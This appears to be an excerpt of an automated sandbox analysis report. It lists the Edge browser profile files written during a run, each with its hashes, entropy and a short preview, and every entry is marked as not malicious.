Preview:	2024/11/18-09:16:50.686 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-09:16:50.688 1d5c Recovering log #3.2024/11/18-09:16:50.688 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.199825032824916
Encrypted:	false
SSDEEP:	6:HUOuKKO3+q2PqLTwi23oH+Tcwt8aPrqIFUt8YUOuKEOQSmWZmw+YUOuKEOQSNVkM:aNa+v8wZYebL3FUt8d7SmW/+d7SNV5TR
MD5:	FEE906E0084B8260AE6B9B859EA4E04C
SHA1:	C86C42BA95176985C557360BB32DD331C94FFF23
SHA-256:	D1C0FDAD480DA84C60171C961D80E3AA6F42644A2CF3F7E2566B9FB999D7CFD3
SHA-512:	A49A8E454C26FB29073045333EFA988730FD889FAB128E83EAFD9BD8C1DC1B2DA72AD17A99184E2C4BFDD6BC873A56448C6A0893FC54DB3D577D0D2EE593BDD5
Malicious:	false
Preview:	2024/11/18-09:16:50.686 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-09:16:50.688 1d5c Recovering log #3.2024/11/18-09:16:50.688 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.232631030591675
Encrypted:	false
SSDEEP:	6:HUOuKxyq2PqLTwi23oH+Tcwt865IFUt8YUOuKEE11Zmw+YUOuKEEjRkwOqLTwi2r:a4yv8wZYeb/WFUt8dxEX/+dxEjR5TwZr
MD5:	FD6C0CC1F4EAE301BDFC836032EF6A4D
SHA1:	8833348FF86941F4CCE546D7E77C9CD659B2A1E5
SHA-256:	AA6C1E16A2C42BB85437C7A2ECC1B9E1123E10A1CC17E0831F4144C07FEDB2C7
SHA-512:	E41D24F75CD839C1755156BE7CB463193E24DCE1D46D7EC1BE533DD05AA077F14980496DE07E9FAB9BE29BF6695D9DA8696F8525E9F9CD77AF0EC6AC5C492C04
Malicious:	false
Preview:	2024/11/18-09:16:50.746 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-09:16:50.757 1d54 Recovering log #3.2024/11/18-09:16:50.757 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.232631030591675
Encrypted:	false
SSDEEP:	6:HUOuKxyq2PqLTwi23oH+Tcwt865IFUt8YUOuKEE11Zmw+YUOuKEEjRkwOqLTwi2r:a4yv8wZYeb/WFUt8dxEX/+dxEjR5TwZr
MD5:	FD6C0CC1F4EAE301BDFC836032EF6A4D
SHA1:	8833348FF86941F4CCE546D7E77C9CD659B2A1E5
SHA-256:	AA6C1E16A2C42BB85437C7A2ECC1B9E1123E10A1CC17E0831F4144C07FEDB2C7
SHA-512:	E41D24F75CD839C1755156BE7CB463193E24DCE1D46D7EC1BE533DD05AA077F14980496DE07E9FAB9BE29BF6695D9DA8696F8525E9F9CD77AF0EC6AC5C492C04
Malicious:	false
Preview:	2024/11/18-09:16:50.746 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-09:16:50.757 1d54 Recovering log #3.2024/11/18-09:16:50.757 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.1982780188768585
Encrypted:	false
SSDEEP:	6:HUOuKpeIq2PqLTwi23oH+Tcwt8NIFUt8YUOuKvhZmw+YUOuKv7kwOqLTwi23oH+y:aMv8wZYebpFUt8dYh/+dY75TwZYebqJ
MD5:	97E359B005767B95759A2F1B5F01C572
SHA1:	F3AF08798B398D04085EF09EC6CB587184809412
SHA-256:	AF59002BA27B65115A4D8D73757FDE7D3FA1D3C1432FC38F6D0352CBC8F01FC8
SHA-512:	8D151D76B4643B8765B45092801A3DEFAC29C16DB69297072FA22360B250CAC2672ECADD7F742590D852FF58A31721AE2ADD5AC87478BDC73C30F77FF20EB329
Malicious:	false
Preview:	2024/11/18-09:16:51.455 1970 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-09:16:51.456 1970 Recovering log #3.2024/11/18-09:16:51.456 1970 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.1982780188768585
Encrypted:	false
SSDEEP:	6:HUOuKpeIq2PqLTwi23oH+Tcwt8NIFUt8YUOuKvhZmw+YUOuKv7kwOqLTwi23oH+y:aMv8wZYebpFUt8dYh/+dY75TwZYebqJ
MD5:	97E359B005767B95759A2F1B5F01C572
SHA1:	F3AF08798B398D04085EF09EC6CB587184809412
SHA-256:	AF59002BA27B65115A4D8D73757FDE7D3FA1D3C1432FC38F6D0352CBC8F01FC8
SHA-512:	8D151D76B4643B8765B45092801A3DEFAC29C16DB69297072FA22360B250CAC2672ECADD7F742590D852FF58A31721AE2ADD5AC87478BDC73C30F77FF20EB329
Malicious:	false
Preview:	2024/11/18-09:16:51.455 1970 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-09:16:51.456 1970 Recovering log #3.2024/11/18-09:16:51.456 1970 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21782872433447142
Encrypted:	false
SSDEEP:	3:Yb9tFlljq7A/mhWJFuQ3yy7IOWU5RtdweytllrE9SFcTp4AGbNCV9RUIbn:aG75fOz7d0Xi99pEY5
MD5:	90741032CED9279D8BACDB20F1BD2971
SHA1:	5732D6835DB1589D1F05C5A7AB9EDFA6503D8AE5
SHA-256:	AE474079B32B02E46652FE14B758869CDAB94BD19A31DFAF829553D60BA6FEFE
SHA-512:	0CFDD334B7C4FDABF52D9A9047D9D875CEDB34F3457186DD102A19F7E62CB946E42296DC9D6FE1FF9EE00129B32302E8D2893E8DFE7FC894D1E27F8084A32E6B
Malicious:	false
Preview:	.............l@....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.9184165828676734
Encrypted:	false
SSDEEP:	384:jj9P0vQkQerkjlmgam6IqP/KbtV773pL9cqRKToaADhf:jdAe2mlZaP/c7sqRKc39
MD5:	B13E80D7D06D80AE96A9A9B42B8542E3
SHA1:	45E8B4128778B7FB36D4D21A40ED5015FC21DA5A
SHA-256:	3EA9202694B8891228F5B66698B9E865681712342FADE8807E86AED949DCB3C8
SHA-512:	FFA2B2607B115E8201D5764A2594A6218A5FB84F572D9AC151422894D18C0CAC15057B9AEFE420331E97522DB1707B3169303C2FCF48541755D033B8A2949284
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.315118196412953
Encrypted:	false
SSDEEP:	12:axv8wZYeb8rcHEZrELFUt8dsyZ/+dsyz5TwZYeb8rcHEZrEZSJ:q8wZYeb8nZrExg8hylTwZYeb8nZrEZe
MD5:	F675B46A6F0E8EADD60A1CA527B71635
SHA1:	24568D2638339E93AF6AAF81D0F9E65A768455D3
SHA-256:	9320C197E070E9745B2D5BDAE31E8445CDACDCC81AA5F9CC7350075E00AA9F1F
SHA-512:	433674024D6582F7EA04F505B9B8E98AC1DB6B7FB09C72D50ADF7A8623F3143FBB025208888A94A6845399F0664A86C3FFA1D954D830D9CD34E2B643CD60EDBF
Malicious:	false
Preview:	2024/11/18-09:16:54.761 1970 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-09:16:54.762 1970 Recovering log #3.2024/11/18-09:16:54.762 1970 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	5.315118196412953
Encrypted:	false
SSDEEP:	12:axv8wZYeb8rcHEZrELFUt8dsyZ/+dsyz5TwZYeb8rcHEZrEZSJ:q8wZYeb8nZrExg8hylTwZYeb8nZrEZe
MD5:	F675B46A6F0E8EADD60A1CA527B71635
SHA1:	24568D2638339E93AF6AAF81D0F9E65A768455D3
SHA-256:	9320C197E070E9745B2D5BDAE31E8445CDACDCC81AA5F9CC7350075E00AA9F1F
SHA-512:	433674024D6582F7EA04F505B9B8E98AC1DB6B7FB09C72D50ADF7A8623F3143FBB025208888A94A6845399F0664A86C3FFA1D954D830D9CD34E2B643CD60EDBF
Malicious:	false
Preview:	2024/11/18-09:16:54.761 1970 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-09:16:54.762 1970 Recovering log #3.2024/11/18-09:16:54.762 1970 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	5.666646262941864
Encrypted:	false
SSDEEP:	24:qZWDmEUlH3myRlN+9w5meN/XZ0WKiV03y1x4/vyQMyIW3Ju3N2gFHHmx2ztPFR1:qZ1Eq986x/XZTpV03Sx4/syIUu3fHHQg
MD5:	9DC386C49060D68BE957FB8D3DD4F36F
SHA1:	5D9962D7B1A0552255AC2B3F306B3F65EB822EF7
SHA-256:	18764DB3F6650CD43A9F9C2B90FC757E85BC15C39E1C8FBE169DADF4B487E61C
SHA-512:	765F595EA17B2207F40F4B33472595D8BC64179C67C8703FE8AD4A11D5BD0022168F47FBFE3F9838049041B58599569DBB1AB9748AA002602E3A56A07EA3E68D
Malicious:	false
Preview:	<..xz................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":869}.!_https://ntp.msn.com..LastKnownPV..1731939424306.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731939426169.._https://ntp.msn.com..MUID!.3F08C5280D76656126F5D0130C21645D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731939424397,"schedule":[-1,11,-1,-1,20,9,-1],"scheduleFixed":[-1,11,-1,-1,20,9,-1],"simpleSchedule":[40,14,43,19,32,50,42]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731939424270.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.14944966004094
Encrypted:	false
SSDEEP:	6:HUOuKj/+q2PqLTwi23oH+Tcwt8a2jMGIFUt8YUOuKEZmw+YUOuK2NVkwOqLTwi2o:a7v8wZYeb8EFUt8d1/+dpz5TwZYeb8bJ
MD5:	0DD98B7D79F5ADA6407F9D7279409091
SHA1:	845C863C79A82AA298027393057DAF8A612AD321
SHA-256:	A07E940BB1A026CB8D37BE95F2AB59E874F6D61456975ECA510E043007B89A97
SHA-512:	AEEB8FB8B09347ED52087493F6952833703ADBB328C5C4B4771203F5B13B1600B5341C8E06D5ED5E84FEE9EDF8D9ED57362E01D0DDBEC1381AB724A903B5C38A
Malicious:	false
Preview:	2024/11/18-09:16:51.118 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-09:16:51.119 1c88 Recovering log #3.2024/11/18-09:16:51.122 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.14944966004094
Encrypted:	false
SSDEEP:	6:HUOuKj/+q2PqLTwi23oH+Tcwt8a2jMGIFUt8YUOuKEZmw+YUOuK2NVkwOqLTwi2o:a7v8wZYeb8EFUt8d1/+dpz5TwZYeb8bJ
MD5:	0DD98B7D79F5ADA6407F9D7279409091
SHA1:	845C863C79A82AA298027393057DAF8A612AD321
SHA-256:	A07E940BB1A026CB8D37BE95F2AB59E874F6D61456975ECA510E043007B89A97
SHA-512:	AEEB8FB8B09347ED52087493F6952833703ADBB328C5C4B4771203F5B13B1600B5341C8E06D5ED5E84FEE9EDF8D9ED57362E01D0DDBEC1381AB724A903B5C38A
Malicious:	false
Preview:	2024/11/18-09:16:51.118 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-09:16:51.119 1c88 Recovering log #3.2024/11/18-09:16:51.122 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1b71ae47-bcc2-4d5e-a70d-48569297718a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\24637bc5-25da-4aa4-8c1e-22c7ddf97aee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.300219280553516
Encrypted:	false
SSDEEP:	24:YcCp/WRdsyEyZVMdmwC5mWRdsXZFRudFGRw6ma3yeesw6C1VdsyyZFGJ/I3w6maF:YcCpWs6uCvsJfc7leeBRsfgCgkhYhbw
MD5:	DAA6689D48F0E63BF12DE0B533E61307
SHA1:	4B096964F1AC28CCA273B7646F77FE5D6B963857
SHA-256:	8F0EDE645B73265FDE1459410F1F22D48DF47486B88463173E6DD01525D87AA1
SHA-512:	58F153D53A680BAC9A918ED1AA9E91FAF26E194135C1DB35CF71FBA045061A1ECD83AC80C0A3C54E7584F37EE90FF54B4C20CB06A6DB246F9B0F03859D467F46
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561982935006","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343561983636053","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\55612d25-6d74-45c6-a7a6-d1ee99b1f293.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6f9a4d99-ee1b-4f45-838d-6229d0ec329d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\86d5c4f1-9280-4bbb-b573-d40043df092b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1650
Entropy (8bit):	5.3103563982804705
Encrypted:	false
SSDEEP:	48:YcCpfgCzsTtsDfc7leeBkBRsTCgHNYhbw:F2fQE2keBkB8Tqh0
MD5:	CB310455C1F0F1A4114F1311AD54587A
SHA1:	1F602E613A0C77E422E3D867BB6BC6A78BBED928
SHA-256:	47D3B2AAF150E7184D7F02A6E04A9D8A40C8F3751F482A9338FD71FABDA92B6C
SHA-512:	60533FBA8916189D9068FA117E105985B52B76F4C4E6A125CFD68C13C84713EA554F179975D71A0358210BA86891EEC1BFEF1EE377692EE193E31549B3CF2C40
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379005014763372","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379005016889641","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.821070540575451
Encrypted:	false
SSDEEP:	192:tTruhU/t8/HBjCxoE2waFN/0c4p0L/ZJVb:VKhm8/hjCxoE2T/0lp0LhJVb
MD5:	04F6AFEC42BBD75BA586545D1C1534E0
SHA1:	3FB7DC0D809CA2D88CF1C40B367C442743883E06
SHA-256:	DE694C7A675E87FB07880D5C13BA15A00E3E2E60A08A78A5D784608089B45D94
SHA-512:	75D8CCF2FA9C26816B80AF82FB380C717662EE93F4D786E0981A2212C12887F7AE9853D496AA7E3F7BC1D3DEE24F88203F02AEA49C5F700CAE167A12E3FC7012
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.300219280553516
Encrypted:	false
